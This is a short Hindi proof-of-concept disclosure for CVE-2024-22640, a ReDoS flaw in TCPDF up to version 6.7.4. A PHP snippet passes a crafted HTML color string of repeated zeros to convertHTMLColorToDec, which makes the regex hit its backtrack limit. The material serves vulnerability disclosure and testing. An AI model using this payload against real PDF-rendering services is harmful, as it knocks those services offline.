
प्रमाण-अवधारणा शोषण CVE-2024-22640 के लिए, TCPDF <=6.7.4 में एक ReDoS भेद्यता जो विशेष रूप से तैयार किए गए HTML रंग इनपुट द्वारा ट्रिगर होती है, प्रदर्शन कोड के साथ।
रेगुलर एक्सप्रेशन डेनियल ऑफ सर्विस (ReDoS)
TCPDF <= 6.7.4
TCPDF द्वारा पार्स किए गए HTML रंग में क्राफ्टेड पेलोड होता है।
TCPDF संस्करण <= 6.7.4, एक अविश्वसनीय HTML पेज को क्राफ्टेड रंग के साथ पार्स करने पर ReDoS (रेगुलर एक्सप्रेशन डेनियल ऑफ सर्विस) के लिए संवेदनशील है।
<?php
require_once('../tcpdf.php');
$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>
नोट: भेद्य रेखा के बाद preg_last_error() से जांच करने पर, regEx PREG_BACKTRACK_LIMIT_ERROR के साथ बाहर निकलेगा।